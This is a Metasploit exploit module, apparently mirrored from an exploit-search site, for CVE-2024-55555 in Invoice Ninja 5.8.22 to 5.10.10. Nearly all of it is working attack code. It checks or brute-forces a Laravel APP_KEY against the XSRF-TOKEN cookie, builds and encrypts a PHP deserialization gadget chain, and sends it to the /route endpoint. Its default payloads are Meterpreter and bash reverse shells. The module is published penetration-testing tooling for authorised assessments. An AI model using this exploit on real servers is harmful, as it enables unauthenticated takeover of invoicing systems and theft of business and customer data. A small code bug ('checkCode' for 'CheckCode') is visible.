Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-INVOICENINJA_UNAUTH_RCE_CVE_2024_55555-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::LaravelCryptoKiller
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Invoice Ninja unauthenticated PHP Deserialization Vulnerability',
        'Description' => %q{
          Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
          A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated
          attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
          ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.
          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
          potentially resulting in complete system compromise, data exfiltration, or unauthorized access
          to sensitive information.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability
          'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability
        ],
        'References' => [
          ['CVE', '2024-55555'],
          ['URL', 'https://attackerkb.com/topics/QtMS7cIExH/cve-2024-55555'],
          ['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known']
        ],
        'DisclosureDate' => '2024-12-13',
        'Platform' => ['php', 'unix', 'linux'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'The invoiceninja endpoint URL.', '/' ]),
      OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=']),
      OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil])
    ])
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'route', cmd.to_s),
      'ctype' => 'application/x-www-form-urlencoded'
    })
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'login')
    })
    return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200

    # check if target is running the Invoice Ninja platform
    # search for the Invoice Ninja X-APP-VERSION within the returned headers from the login page
    version_number = res.headers['X-APP-VERSION']
    return CheckCode::Safe('No Invoice Ninja platform found.') if version_number.nil?

    if Rex::Version.new(version_number).between?(Rex::Version.new('5.8.22'), Rex::Version.new('5.10.10'))
      return CheckCode::Appears("Invoice Ninja #{version_number}")
    end

    checkCode::Safe("Invoice Ninja #{version_number}")
  end

  def exploit
    # lets first check if decryption is successful with the APP_KEY by decrypting the XSRF_TOKEN inside the cookie.
    # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier
    cipher_mode = 'AES-256-CBC'
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'login')
    })
    fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200

    print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.')
    print_status('Grabbing the cookie with the XSRF-TOKEN.')
    set_cookie = res.get_cookies
    fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil?
    xsrf_token = set_cookie.match(/XSRF-TOKEN=([^;]+)/)
    fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') if xsrf_token.nil?

    if datastore['BRUTEFORCE']
      key_file = datastore['BRUTEFORCE']
      print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.")
      result = laravel_bruteforce_from_file(xsrf_token[1], key_file, cipher_mode)
      fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil?
      valid_app_key = result['key']
      unciphered_value = result['value']
    else
      result = laravel_decrypt(xsrf_token[1], datastore['APP_KEY'], cipher_mode)
      fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil?
      valid_app_key = datastore['APP_KEY']
      unciphered_value = result
    end
    print_good("APP_KEY is valid: #{valid_app_key}")
    print_good("Unciphered value: #{unciphered_value}")

    print_status('Generate an encrypted serialization payload with our cracked APP_KEY.')
    pl = payload.encoded
    pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
    pl_len = pl.length
    laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
    b64_laravel_payload = Base64.strict_encode64(laravel_payload)
    laravel_cipher = laravel_encrypt(b64_laravel_payload, valid_app_key, cipher_mode)
    fail_with(Failure::BadConfig, 'Laravel encryption failed.') if laravel_cipher.nil?

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_command(laravel_cipher)
  end
end